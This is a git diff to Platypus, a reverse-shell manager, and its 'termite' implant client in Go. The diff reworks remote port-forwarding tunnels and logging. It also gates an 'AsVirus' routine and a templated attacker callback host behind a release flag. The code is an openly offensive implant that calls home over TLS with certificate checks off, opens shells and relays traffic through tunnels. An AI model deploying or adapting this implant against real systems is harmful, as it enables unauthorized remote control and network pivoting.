diff --git a/lib/context/context.go b/lib/context/context.go index d7a47d71..4dc693fe 100644 --- a/lib/context/context.go +++ b/lib/context/context.go @@ -197,8 +197,6 @@ func Shutdown() { } func AddPushTunnelConfig(termite *TermiteClient, local_address string, remote_address string) { - token := str.RandomString(0x10) - termite.AtomLock.Lock() defer func() { termite.AtomLock.Unlock() }() @@ -206,7 +204,6 @@ func AddPushTunnelConfig(termite *TermiteClient, local_address string, remote_ad err := termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CREATE, Body: message.BodyPushTunnelCreate{ - Token: token, Address: remote_address, }, }) @@ -215,7 +212,7 @@ func AddPushTunnelConfig(termite *TermiteClient, local_address string, remote_ad if err != nil { log.Error(err.Error()) } else { - Ctx.PushTunnelConfig[token] = PushTunnelConfig{ + Ctx.PushTunnelConfig[remote_address] = PushTunnelConfig{ Termite: termite, Address: local_address, } diff --git a/lib/context/server.go b/lib/context/server.go index 3a4de56d..43dc287e 100644 --- a/lib/context/server.go +++ b/lib/context/server.go @@ -507,7 +507,6 @@ func TermiteMessageDispatcher(client *TermiteClient) { var key string switch msg.Type { case message.STDIO: - log.Debug("case message.STDIO") key = msg.Body.(*message.BodyStdio).Key if process, exists := client.Processes[key]; exists { if process.WebSocket != nil { @@ -516,10 +515,9 @@ func TermiteMessageDispatcher(client *TermiteClient) { os.Stdout.Write(msg.Body.(*message.BodyStdio).Data) } } else { - log.Error("No such key") + log.Debug("No such key: %s", key) } case message.PROCESS_STARTED: - log.Debug("case message.PROCESS_STARTED") key = msg.Body.(*message.BodyProcessStarted).Key if process, exists := client.Processes[key]; exists { process.Pid = msg.Body.(*message.BodyProcessStarted).Pid @@ -529,10 +527,9 @@ func TermiteMessageDispatcher(client *TermiteClient) { client.CurrentProcessKey = key } } else { - log.Error("No such key") + log.Debug("No such key: %s", key) } case message.PROCESS_STOPED: - log.Debug("case message.PROCESS_STOPED") key = msg.Body.(*message.BodyProcessStoped).Key if process, exists := client.Processes[key]; exists { code := msg.Body.(*message.BodyProcessStoped).Code @@ -543,10 +540,9 @@ func TermiteMessageDispatcher(client *TermiteClient) { client.CurrentProcessKey = "" } } else { - log.Error("No such key") + log.Debug("No such key: %s", key) } case message.PULL_TUNNEL_CONNECTED: - log.Debug("case message.PULL_TUNNEL_CONNECTED") token := msg.Body.(*message.BodyPullTunnelConnected).Token log.Success("Tunnel (%s) connected", token) if ti, exists := Ctx.PullTunnelInstance[token]; exists { @@ -574,10 +570,9 @@ func TermiteMessageDispatcher(client *TermiteClient) { } }() } else { - log.Error("No such connection") + log.Debug("No such connection") } case message.PULL_TUNNEL_CONNECT_FAILED: - log.Debug("case message.PULL_TUNNEL_CONNECT_FAILED") token := msg.Body.(*message.BodyPullTunnelConnectFailed).Token reason := msg.Body.(*message.BodyPullTunnelConnectFailed).Reason if ti, exists := Ctx.PullTunnelInstance[token]; exists { @@ -585,33 +580,33 @@ func TermiteMessageDispatcher(client *TermiteClient) { (*ti.Conn).Close() delete(Ctx.PullTunnelInstance, token) } else { - log.Error("No such connection") + log.Debug("No such connection") } case message.PULL_TUNNEL_DISCONNECTED: - log.Debug("case message.PULL_TUNNEL_DISCONNECTED") token := msg.Body.(*message.BodyPullTunnelDisconnected).Token if ti, exists := Ctx.PullTunnelInstance[token]; exists { log.Error("%s disconnected", token) (*ti.Conn).Close() delete(Ctx.PullTunnelInstance, token) } else { - log.Error("No such connection") + log.Debug("No such connection") } case message.PULL_TUNNEL_DATA: - log.Debug("case message.PULL_TUNNEL_DATA") token := msg.Body.(*message.BodyPullTunnelData).Token data := msg.Body.(*message.BodyPullTunnelData).Data if ti, exists := Ctx.PullTunnelInstance[token]; exists { (*ti.Conn).Write(data) } else { - log.Error("No such connection") + log.Debug("No such connection") } case message.PUSH_TUNNEL_CONNECT: - log.Debug("case message.PUSH_TUNNEL_CONNECT") token := msg.Body.(*message.BodyPushTunnelConnect).Token - if tc, exists := Ctx.PushTunnelConfig[token]; exists { + address := msg.Body.(*message.BodyPushTunnelConnect).Address + if tc, exists := Ctx.PushTunnelConfig[address]; exists { + log.Info("Connecting to %s", tc.Address) conn, err := net.Dial("tcp", tc.Address) if err != nil { + log.Error("Connecting to %s failed: %s", tc.Address, err.Error()) tc.Termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CONNECT_FAILED, Body: message.BodyPushTunnelConnectFailed{ @@ -620,6 +615,7 @@ func TermiteMessageDispatcher(client *TermiteClient) { }, }) } else { + log.Success("Connecting to %s succeed", tc.Address) Ctx.PushTunnelInstance[token] = PushTunnelInstance{ Termite: tc.Termite, Conn: &conn, @@ -635,9 +631,10 @@ func TermiteMessageDispatcher(client *TermiteClient) { buffer := make([]byte, 0x400) n, err := conn.Read(buffer) if err != nil { + log.Debug("Reading from %s failed: %s", tc.Address, err.Error()) tc.Termite.Encoder.Encode(message.Message{ - Type: message.PUSH_TUNNEL_CONNECT_FAILED, - Body: message.BodyPushTunnelConnectFailed{ + Type: message.PUSH_TUNNEL_DISCONNECTED, + Body: message.BodyPushTunnelDisonnected{ Token: token, Reason: err.Error(), }, @@ -646,6 +643,7 @@ func TermiteMessageDispatcher(client *TermiteClient) { delete(Ctx.PushTunnelInstance, token) break } else { + log.Debug("%d bytes read from %s", n, tc.Address) tc.Termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_DATA, Body: message.BodyPushTunnelData{ @@ -658,53 +656,48 @@ func TermiteMessageDispatcher(client *TermiteClient) { }() } } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", token) } case message.PUSH_TUNNEL_DISCONNECT: - log.Debug("case message.PUSH_TUNNEL_DISCONNECT") token := msg.Body.(*message.BodyPushTunnelDisonnect).Token if ti, exists := Ctx.PushTunnelInstance[token]; exists { log.Success("Tunnel %v closed", (*ti.Conn).RemoteAddr().String()) (*ti.Conn).Close() + delete(Ctx.PushTunnelInstance, token) } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", token) } case message.PUSH_TUNNEL_DISCONNECTED: - log.Debug("case message.PUSH_TUNNEL_DISCONNECTED") token := msg.Body.(*message.BodyPushTunnelDisonnected).Token if ti, exists := Ctx.PushTunnelInstance[token]; exists { (*ti.Conn).Close() delete(Ctx.PushTunnelInstance, token) } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", token) } case message.PUSH_TUNNEL_CREATED: - log.Debug("case message.PUSH_TUNNEL_CREATED") - token := msg.Body.(*message.BodyPushTunnelCreated).Token - if tc, exists := Ctx.PushTunnelConfig[token]; exists { + address := msg.Body.(*message.BodyPushTunnelCreated).Address + if tc, exists := Ctx.PushTunnelConfig[address]; exists { log.Success("Tunnel created: %s", tc.Address) } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", address) } case message.PUSH_TUNNEL_CREATE_FAILED: - log.Debug("case message.PUSH_TUNNEL_CREATE_FAILED") - token := msg.Body.(*message.BodyPushTunnelCreateFailed).Token + address := msg.Body.(*message.BodyPushTunnelCreateFailed).Address reason := msg.Body.(*message.BodyPushTunnelCreateFailed).Reason - if tc, exists := Ctx.PushTunnelConfig[token]; exists { + if tc, exists := Ctx.PushTunnelConfig[address]; exists { log.Success("Tunnel create failed: %s", tc.Address, reason) + delete(Ctx.PushTunnelConfig, address) } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", address) } case message.PUSH_TUNNEL_DELETED: - log.Debug("case message.PUSH_TUNNEL_DELETED") // TODO log.Info("PUSH_TUNNEL_DELETED") case message.PUSH_TUNNEL_DELETE_FAILED: - log.Debug("case message.PUSH_TUNNEL_DELETE_FAILED") // TODO log.Info("PUSH_TUNNEL_DELETE_FAILED") case message.PUSH_TUNNEL_DATA: - log.Debug("case message.PUSH_TUNNEL_DATA") token := msg.Body.(*message.BodyPushTunnelData).Token data := msg.Body.(*message.BodyPushTunnelData).Data if ti, exists := Ctx.PushTunnelInstance[token]; exists { @@ -721,7 +714,7 @@ func TermiteMessageDispatcher(client *TermiteClient) { delete(Ctx.PushTunnelInstance, token) } } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", token) } } } diff --git a/lib/util/message/message.go b/lib/util/message/message.go index 7f27baff..4276aa7f 100644 --- a/lib/util/message/message.go +++ b/lib/util/message/message.go @@ -124,17 +124,16 @@ type BodyPushTunnelData struct { } type BodyPushTunnelCreate struct { - Token string Address string } type BodyPushTunnelCreated struct { - Token string + Address string } type BodyPushTunnelCreateFailed struct { - Token string - Reason string + Address string + Reason string } type BodyPushTunnelDelete struct { @@ -151,7 +150,8 @@ type BodyPushTunnelDeleteFailed struct { } type BodyPushTunnelConnect struct { - Token string + Token string + Address string } type BodyPushTunnelConnected struct { diff --git a/termite.go b/termite.go index e22ec3b9..543a8296 100644 --- a/termite.go +++ b/termite.go @@ -21,6 +21,7 @@ import ( "github.com/WangYihang/Platypus/lib/util/hash" "github.com/WangYihang/Platypus/lib/util/log" "github.com/WangYihang/Platypus/lib/util/message" + "github.com/WangYihang/Platypus/lib/util/str" "github.com/creack/pty" "github.com/sevlyar/go-daemon" ) @@ -156,7 +157,7 @@ func handleConnection(c *Client) { go func() { for { - buffer := make([]byte, 0x400) + buffer := make([]byte, 0x4000) n, err := ptmx.Read(buffer) if err != nil { if err == io.EOF { @@ -338,7 +339,7 @@ func handleConnection(c *Client) { (*conn).Close() } } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", token) } case message.PULL_TUNNEL_DISCONNECT: token := msg.Body.(*message.BodyPullTunnelDisconnect).Token @@ -353,36 +354,41 @@ func handleConnection(c *Client) { }, }) } else { - log.Error("No such tunnel") + log.Debug("No such tunnel: %s", token) } case message.PUSH_TUNNEL_CREATE: address := msg.Body.(*message.BodyPushTunnelCreate).Address - token := msg.Body.(*message.BodyPushTunnelCreate).Token + log.Info("Creating remote port forwarding from %s", address) server, err := net.Listen("tcp", address) if err != nil { + log.Error("Server (%s) create failed: %s", address, err.Error()) c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CREATE_FAILED, Body: message.BodyPushTunnelCreateFailed{ - Token: token, - Reason: err.Error(), + Address: address, + Reason: err.Error(), }, }) } else { + log.Error("Server created (%s)", address) c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CREATED, Body: message.BodyPushTunnelCreated{ - Token: token, + Address: address, }, }) go func() { for { conn, err := server.Accept() + token := str.RandomString(0x10) + log.Success("Connection came from: %s", conn.RemoteAddr().String()) if err == nil { c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CONNECT, Body: message.BodyPushTunnelConnect{ - Token: token, + Token: token, + Address: address, }, }) pushTunnels[token] = &conn @@ -392,12 +398,14 @@ func handleConnection(c *Client) { } case message.PUSH_TUNNEL_CONNECTED: token := msg.Body.(*message.BodyPushTunnelConnected).Token + log.Success("Connection (%s) connected", token) if conn, exists := pushTunnels[token]; exists { go func() { for { - buffer := make([]byte, 0x400) + buffer := make([]byte, 0x4000) n, err := (*conn).Read(buffer) if err != nil { + log.Error("Read from (%s) failed: %s", token, err.Error()) c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_DISCONNECTED, Body: message.BodyPushTunnelDisonnected{ @@ -409,6 +417,7 @@ func handleConnection(c *Client) { delete(pushTunnels, token) break } else { + log.Debug("%d bytes read from (%s)", n, token) c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_DATA, Body: message.BodyPushTunnelData{ @@ -420,7 +429,7 @@ func handleConnection(c *Client) { } }() } else { - log.Error("No such tunnel") + log.Debug("No such tunnel (PUSH_TUNNEL_CONNECTED): %s", token) } case message.PUSH_TUNNEL_DISCONNECTED: token := msg.Body.(*message.BodyPushTunnelDisonnected).Token @@ -428,7 +437,7 @@ func handleConnection(c *Client) { (*conn).Close() delete(pushTunnels, token) } else { - log.Error("No such tunnel") + log.Debug("No such tunnel (PUSH_TUNNEL_DISCONNECTED): %s", token) } case message.PUSH_TUNNEL_CONNECT_FAILED: token := msg.Body.(*message.BodyPushTunnelConnectFailed).Token @@ -436,7 +445,7 @@ func handleConnection(c *Client) { (*conn).Close() delete(pushTunnels, token) } else { - log.Error("No such tunnel") + log.Debug("No such tunnel (PUSH_TUNNEL_CONNECT_FAILED): %s", token) } case message.PUSH_TUNNEL_DATA: token := msg.Body.(*message.BodyPushTunnelData).Token @@ -448,13 +457,13 @@ func handleConnection(c *Client) { delete(pushTunnels, token) } } else { - log.Error("No such tunnel") + log.Debug("No such tunnel (PUSH_TUNNEL_DATA): %s", token) } } } } -func StartClient() bool { +func StartClient(service string) bool { needRetry := true certBuilder := new(strings.Builder) keyBuilder := new(strings.Builder) @@ -470,7 +479,6 @@ func StartClient() bool { } config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true} - service := strings.Trim("xxx.xxx.xxx.xxx:xxxxx", " ") if hash.MD5(service) != "4d1bf9fd5962f16f6b4b53a387a6d852" { log.Debug("Connecting to: %s", service) conn, err := tls.Dial("tcp", service, &config) @@ -527,14 +535,21 @@ func AsVirus() { } func main() { - AsVirus() + release := false + if release { + AsVirus() + } message.RegisterGob() backoff = CreateBackOff() processes = map[string]*TermiteProcess{} pullTunnels = map[string]*net.Conn{} pushTunnels = map[string]*net.Conn{} + service := "127.0.0.1:13337" + if release { + service = strings.Trim("xxx.xxx.xxx.xxx:xxxxx", " ") + } for { - if !StartClient() { + if !StartClient(service) { break } add := (int64(rand.Uint64()) % backoff.Current)